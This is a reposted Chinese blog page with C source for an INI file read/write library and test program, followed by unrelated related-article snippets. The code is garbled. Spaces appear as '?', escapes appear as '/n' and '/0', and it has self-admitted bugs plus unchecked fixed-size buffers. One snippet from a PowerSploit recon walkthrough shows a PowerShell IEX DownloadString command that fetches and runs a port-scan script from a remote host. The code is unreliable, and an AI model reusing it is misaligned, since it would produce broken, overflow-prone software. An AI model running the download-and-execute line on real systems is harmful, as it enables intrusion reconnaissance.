C讀寫ini文件

/*
read/write ini file with c function
@file testini.c
chinayaosir
blog:?? ?http://blog.csdn.net/chinayaosir
connect.ini
[database]
此程序有些BUG
當ini文件不存在時,第一次建立connect.ini文件時,
在[database]前面會多一個空格.
*/
#include? "stdio.h"
#include? "inifile.h"
#define? BUF_SIZE 256


int? main()
{
?? ?const char? * file = "connect.ini"; ?
??? char? severname[BUF_SIZE] = {0};
?? ?int?? port=0;

??? printf( "1. write/read ini file testting .../n" );? ?
?? ?
?? ?printf( "2. write data into ini file.../n" );
?? ?
?? ?if (! write_profile_string("database", "sever" , "192.168.1.2",file))
?? ??? ?
??? {?? ?printf( "2.1 server write %s file fail/n",file );??? }
???? else
??? {
??????? printf( "2.1 server write %s file ok/n",file );
??? }
?? ?if (! write_profile_string("database", "port" , "5000",file))
??? {?? ?printf( "2.2 port write %s file fail/n",file );??? }
???? else
??? {
??????? printf( "2.2 port write %s file ok/n",file );
??? }

?? ?printf( "3. read data from ini file.../n" );

?? ?if ( ! read_profile_string("database", "sever", severname,BUF_SIZE,file))
?? ??? ?{?? printf( "3.1 sever read? %s file fail/n",file );??? }
??? else
?? ??? ?{?? ?printf( "3.1 sever = %s/n" ,severname);}

?? ?if ( ! read_profile_int("database", "port", port,file))
?? ??? ?{?? printf( "3.2 port read %s file fail/n",file );? }
??? else
?? ?{?? ?port=read_profile_int("database", "port", port,file);?? ?
??????? printf( "3.2 port = %d/n" ,port);
??? }?? ?

???? return?? 0 ;

}

/*
run value:
1. write/read ini file testting ...
2. write data into ini file...
2.1 server write connect.ini file ok
2.2 port write connect.ini file ok
3. read data from ini file...
3.1 sever = 192.168.1.2
3.2 port = 5000
*/

/
/* *
*@file??????? inifile.h
*@cpright???? (C)2007 GEC
*@auther????? dengyangjun
*@email?????? dyj057@gmail.com
*@version???? 0.1
*@create????? 2007-1-14
*@modify????? 2007-1-14
*@brief?????? declare ini file operation
*@note
*@history???
*/

#ifndef INI_FILE_H_
#define? INI_FILE_H_

#ifdef __cplusplus
extern?? " C "
{
#endif

int? read_profile_string(const char * section,const char * key,char * value,int? size,const char * file);
int? read_profile_int( const?? char * section,const char * key, int default_value,const char * file);
int? write_profile_string(const char?? * section,const char * key,const? char * value,? const char * file);

#ifdef __cplusplus
};? // end of extern "C" {
#endif

#endif?? // end of INI_FILE_H_

//
/* *
*@file????????? inifile.c
*@cpright?????? (C)2007 GEC
*@auther??????? dengyangjun
*@email???????? dyj057@gmail.com
*@version?????? 0.1
*@create??????? 2007-1-14
*@modify??????? 2007-1-14
*@brief???????? implement ini file operation
*@note
*@history???
*/
#include? <stdio.h>
#include? <stdlib.h>
#include? <assert.h>
#include? <string.h>
#include? <ctype.h>

#include? "inifile.h"

#ifdef __cplusplus
extern?? " C "
{
#endif

#define? MAX_FILE_SIZE 8096

#define? LEFT_BRACE '['
#define? RIGHT_BRACE ']'

static int load_ini_file(const? char * file,? char * buf, int * file_size)
{
??? int? i = 0 ;
??? FILE? * in = NULL;
??? *file_size = 0 ;
??? assert(file? != NULL);
??? assert(buf? != NULL);

??? in?? =? fopen(file, "r" );
??? if ( NULL? == in ) {
???????? return?? 0 ;
??? }

???? // load initialization file
???? while ((buf[i] = fgetc(in)) != EOF) {
??????? i ++ ;
??????? assert( i < MAX_FILE_SIZE);? // file too big
??? }
???
??? buf[i] = '/0' ;
??? *file_size? =? i;

??? fclose(in);
??? return?? 1 ;
}

/*
*<summary></summary>
* <returns>Result of the addtion(int)</returns>
* <param name="x"></param>
* <param name="y"></param>
*/

static? int isnewline( char? c)
{
???? return? ( '/n'?? ==? c? ||??? '/r'?? ==? c ) ?? 1? :? 0 ;
}
static?? int? isend( char? c)
{
???? return?? '/0' == c ?? 1? :? 0 ;
}
static?? int? isleftbarce( char? c)
{
???? return? LEFT_BRACE? ==? c ??? 1? :? 0 ;
}
static?? int? isrightbrace( char? c )
{
???? return? RIGHT_BRACE? ==? c ??? 1? :? 0 ;
}

static? int? parse_file(const?? char?? * section,?
??? ??? ??? ??? ??? ??? const?? char?? * key,?
??? ??? ??? ??? ??? ??? const?? char?? * buf,
??? ??? ??? ??? ??? ??? int?? * sec_s,
??? ??? ??? ??? ??? ??? int?? * sec_e,
??? ??? ??? ??? ??? ??? int?? * key_s,
??? ??? ??? ??? ??? ??? int?? * key_e,?
??? ??? ??? ??? ??? ??? int?? * value_s,?
??? ??? ??? ??? ??? ??? int?? * value_e)
{
???? const?? char?? * p? =? buf;
???? int? i = 0 ;

??? assert(buf != NULL);
??? assert(section? !=? NULL? &&? strlen(section));
??? assert(key? !=? NULL? &&? strlen(key));

???? * sec_e? =?? * sec_s? =?? * key_e? =?? * key_s? =?? * value_s? =?? * value_e? =?? - 1 ;

???? while (? ! isend(p[i]) )
??? {
???????? // find the section
???????? if ( (? 0 == i? ||?? isnewline(p[i - 1 ]) )? &&? isleftbarce(p[i]) )
??????? {
???????????? int? section_start = i + 1 ;

???????????? // find the ']'
???????????? do
??????????? {
??????????????? i ++ ;
??????????? } while (? ! isrightbrace(p[i])? &&?? ! isend(p[i]));

???????????? if (? 0?? ==? strncmp(p + section_start,section, i - section_start))
??????????? {
???????????????? int? newline_start = 0 ;

??????????????? i ++ ;

???????????????? // Skip over space char after ']'
???????????????? while (isspace(p[i]))
??????????????? {
??????????????????? i ++ ;
??????????????? }

???????????????? // find the section
???????????????? * sec_s? =? section_start;
???????????????? * sec_e? =? i;

???????????????? while (? !? (isnewline(p[i - 1 ])? &&? isleftbarce(p[i]))? &&?? ! isend(p[i]) )
??????????????? {
???????????????????? int? j = 0 ;
???????????????????? // get a new line
??????????????????? newline_start? =? i;

???????????????????? while (? ! isnewline(p[i])? &&??? ! isend(p[i]) )
??????????????????? {
??????????????????????? i ++ ;
??????????????????? }
???????????????????? // now i? is equal to end of the line

??????????????????? j = newline_start;

???????????????????? if ( ';'?? !=? p[j])? // skip over comment
??????????????????? {
???????????????????????? while (j? <? i? &&? p[j] != '=' )
??????????????????????? {
??????????????????????????? j ++ ;
???????????????????????????? if ( '='?? ==? p[j])
??????????????????????????? {
???????????????????????????????? if (strncmp(key,p + newline_start,j - newline_start) == 0 )
??????????????????????????????? {
???????????????????????????????????? // find the key ok
???????????????????????????????????? * key_s? =? newline_start;
???????????????????????????????????? * key_e? =? j - 1 ;

???????????????????????????????????? * value_s? =? j + 1 ;
???????????????????????????????????? * value_e? =? i;

???????????????????????????????????? return?? 1 ;
??????????????????????????????? }
??????????????????????????? }
??????????????????????? }
??????????????????? }

??????????????????? i ++ ;
??????????????? }
??????????? }
??????? }
???????? else
??????? {
??????????? i ++ ;
??????? }
??? }
???? return?? 0 ;
}

/* *
* @brief read_profile_string <d>retrieves a string from the specified section in an initialization file.
* @param section? <t>const char * <in> <d>name of the section containing the key name.
* @param key? <t>const char *? <in><d>the name of the key whose associated string is to be retrieved.
* @param value <t>char * <out><d>pointer to the buffer that receives the retrieved string.?????
* @return <t>int? <n>1 : read success; 0 : read fail.
*/??????
int? read_profile_string(
??? ??? ??? ??? ??? ??? ?const?? char?? * section,?
??? ??? ??? ??? ??? ??? ?const?? char?? * key,
??? ??? ??? ??? ??? ??? ?char?? * value,??
??? ??? ??? ??? ??? ??? ?int? size,?
??? ??? ??? ??? ??? ??? ?const?? char?? * file)
{
???? char? buf[MAX_FILE_SIZE] = { 0 };
???? int? file_size;
???? int? sec_s,sec_e,key_s,key_e, value_s, value_e;

???? // check parameters
??? assert(section? !=? NULL? &&? strlen(section));
??? assert(key? !=? NULL? &&? strlen(key));
??? assert(value? !=? NULL);
??? assert(size? >?? 0 );
??? assert(file? != NULL? && strlen(key));

???? if (? ! load_ini_file(file,buf, & file_size))
???????? return?? 0 ;

???? if ( ! parse_file(section,key,buf, & sec_s, & sec_e, & key_s, & key_e, & value_s, & value_e))
??? {
???????? return?? 0 ;? // not find the key
??? }
???? else
??? {
???????? int? cpcount? =? value_e? - value_s;

???????? if ( size - 1?? <? cpcount)
??????? {
??????????? cpcount? =?? size - 1 ;
??????? }
???
??????? memset(value,? 0 , size);
??????? memcpy(value,buf + value_s, cpcount );
??????? value[cpcount]? =?? '/0' ;

???????? return?? 1 ;
??? }
}


int? read_profile_int(const? char *section,
??? ??? ??? ??? ??? ? const? char? *key,
??? ??? ??? ??? ??? ? int default_value,?
??? ??? ??? ??? ??? ? const char *file)
{
???? char? value[ 32 ]? =? { 0 };
???? if ( ! read_profile_string(section,key,value,? sizeof (value),file))
??? {
???????? return? default_value;
??? }
???? else
??? {
???????? return? atoi(value);
??? }
}

int? write_profile_string(const?? char?? * section,?
??? ??? ??? ??? ??? ??? ? const?? char?? * key,
??? ??? ??? ??? ??? ??? ? const?? char?? * value,?
??? ??? ??? ??? ??? ??? ? const?? char?? * file)
{
???? char? buf[MAX_FILE_SIZE] = { 0 };
???? char? w_buf[MAX_FILE_SIZE] = { 0 };
???? int? sec_s,sec_e,key_s,key_e, value_s, value_e;
???? int? value_len? =? ( int )strlen(value);
???? int? file_size;
??? ?FILE? * out ;

???? // check parameters
??? assert(section? !=? NULL? &&? strlen(section));
??? assert(key? !=? NULL? &&? strlen(key));
??? assert(value? !=? NULL);
??? assert(file? != NULL? && strlen(key));

???? if (!load_ini_file(file,buf, & file_size))
??? {
??????? sec_s? =?? - 1 ;
??? }
???? else
??? {
??????? parse_file(section,key,buf, & sec_s, & sec_e, & key_s, & key_e, & value_s, & value_e);
??? }

???? if (? - 1?? ==? sec_s)
??? {
???????
???????? if ( 0 == file_size)
??????? {
??????????? sprintf(w_buf + file_size, " [%s]/n%s=%s/n" ,section,key,value);
??????? }
???????? else
??????? {
???????????? // not find the section, then add the new section at end of the file
??????????? memcpy(w_buf,buf,file_size);
??????????? sprintf(w_buf + file_size, "/n[%s]/n%s=%s/n" ,section,key,value);
??????? }
???????
???????
??? }
???? else?? if ( - 1?? ==? key_s)
??? {
???????? // not find the key, then add the new key & value at end of the section
??????? memcpy(w_buf,buf,sec_e);
??????? sprintf(w_buf + sec_e, "%s=%s/n" ,key,value);
??????? sprintf(w_buf + sec_e + strlen(key) + strlen(value) + 2 ,buf + sec_e, file_size? -? sec_e);
??? }
???? else
??? {
???????? // update value with new value
??????? memcpy(w_buf,buf,value_s);
??????? memcpy(w_buf + value_s,value, value_len);
??????? memcpy(w_buf + value_s + value_len, buf + value_e, file_size? -? value_e);
??? }
???
???? out?? =? fopen(file, "w" );
???? if (NULL? ==?? out )
??? {
???????? return?? 0 ;
??? }
???
???? if ( - 1?? ==? fputs(w_buf, out ) )
??? {
??????? fclose( out );
???????? return?? 0 ;
??? }

??? fclose( out );
???
???? return?? 1 ;
}


#ifdef __cplusplus
};? // end of extern "C" {
#endif

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/449598.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/449598.shtml
英文地址,請注明出處:http://en.pswp.cn/news/449598.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

包含天,時,分,秒的倒計時

這個很基礎的東西寫的過程中出了很多小的錯誤&#xff0c;在此記錄一下。 原生的js。 結構&#xff1a; <p id"time"></p> js: <script>  var start new Date().getTime(); // 獲取開始時間  var end new Dat…

計算相關度

# 使用numpy import numpy as np R [0.01, 0.05, 0.02, -0.03] var1 np.var(R) std1 np.std(R) # # 使用pandas import pandas as pd R pd.Series([0.01, 0.05, 0.02, -0.03]) var2 R.var() std2 R.std() import pandas as pd import tushare as ts pro ts.pro_api() w…

如何使用Dockerfile構建鏡像

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 Dockfile是一種被Docker程序解釋的腳本&#xff0c;Dockerfile由一條一條的指令組成&#xff0c;每條指令對應Linux下面的一條命令。Doc…

今時今日,C還適合當下之所需么?

本文來源于我在InfoQ中文站翻譯的文章&#xff0c;原文地址是&#xff1a;http://www.infoq.com/cn/news/2013/01/C-Language 來自Couchbase的Damien Katz認為C依然是非常適合于后端編程的一門語言&#xff0c;然而有的開發者則覺得C有太多的瑕疵&#xff0c;他們支持C或是Java…

《吳軍.科技史綱60講》摘錄

本文由Markdown語法編輯器編輯完成&#xff0e; 《科技史綱60講》是吳軍老師最新開設的專欄名稱&#xff0c;該專欄主要是講解人類文明和科技發展史。吳軍老師在專欄的發刊詞《歷史總在重演&#xff0c;科技永遠向前》中提到&#xff0c;能量和信息是貫穿人類文明發展的兩條線索…

API Gateway——KONG簡單入門

一、簡介 前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 Kong&#xff0c;是由Mashape公司開源的&#xff0c;基于Nginx的API gateway。 二、特點 可擴展&#xff1a;支持分布式 模塊化…

小程序 公眾號/h5相互跳轉-webview

小程序與h5的跳轉 前提小程序管理后臺配置域名白名單&#xff0c;并且h5頁面是嵌在小程序里面&#xff08;相互跳的前提條件&#xff09; 在業務域名中設置好訪問的h5地址 微信官方web-view 介紹地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

十、eclipse快捷鍵大全

eclipse快捷鍵大全轉載于:https://www.cnblogs.com/zheaven/p/10541531.html

如何保證代碼的高質量?

代碼的高質量是軟件的靈魂&#xff0c;代碼 數據結構 算法&#xff0c; 而高質量的代碼 優良的變量、函數命名 優良的代碼結構、代碼層次結構 數據結構 算法。 時時刻刻想這上面的四點&#xff0c;你的代碼就會漸漸的上新臺階&#xff0c;老板不給你加工資還…

centos6.5 安裝 kong 網關

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 最近要求了解下kong網關&#xff0c;然后在網上一頓找&#xff0c;說實話&#xff0c;度娘的力量還是不行啊&#xff0c;找出來的那些跟…

lucene學習的小結

pom.xml設置 <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.apache.lucene</groupId&…

并行計算的專訪

摘要&#xff1a;社區之星第9期采訪的嘉賓是香港浸會大學計算機在讀博士、浪潮高性能計算顧問趙開勇。此次他為我們揭開了高性能計算的神秘面紗&#xff0c;為讀者講解自己的經驗心得。并且他認為基于移動設備的高性能計算將會成為未來潮流&#xff0c;低功耗、高性能也將成為一…

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 1&#xff1a;查看環境&#xff1a; 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2&#xff1a;關掉…

正睿2019省選附加賽 Day10 (這篇其實已經都咕咕了...)

目錄 2019.3.13A.算算算(二項式定理 斯特林數)B.買買買C.樹樹樹2019.3.13比賽鏈接 A.算算算(二項式定理 斯特林數) 題目鏈接 \(x^k\)可以用二項式定理展開&#xff0c;需要維護的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一個數時&#xff0c;每一項都要再用一遍二項式定…

freemarker 從 spring boot execute jar可執行jar中訪問模板文件

2019獨角獸企業重金招聘Python工程師標準>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目錄try {String pathPrefix "/";// 為了支持能從execute jar 中獲取模板文件URI uri C…

獲取所有股票數據

#%%#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常顯示畫圖時出現的中文和負號 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息偵察)腳本滲透實戰

Recon(信息偵察)模塊 a) 調用invoke-Portscan掃描內網主機的端口。 1&#xff09;通過IEX下載并調用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代碼前面為0,補齊6位數

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP環境

簡介LNMP是Linux、Nginx、MySQL和PHP的縮寫&#xff0c;這個組合是最常見的WEB服務器的運行環境之一。本文將帶領大家在CentOS 6操作系統上搭建一套LNMP環境。 本教程適用于CentOS 6.x版本。 在安裝LNMP環境之前&#xff0c;您需要先對CentOS操作系統做一些初始化的工作&#x…

前端技術周刊 2019-01-21:跨端開發的三條路線

2019-01-21 前端快爆 微軟 Edge 開發者意圖為 Chrome 實現 HTML Modules&#xff0c;該規范用來替代之前的 HTML Imports。其優點是基于 ES Modules&#xff0c;可以避免全局對象污染、腳本解析阻塞等問題。?點評&#xff1a;舉報&#xff0c;有人在「秀恩愛」&#xff01; &l…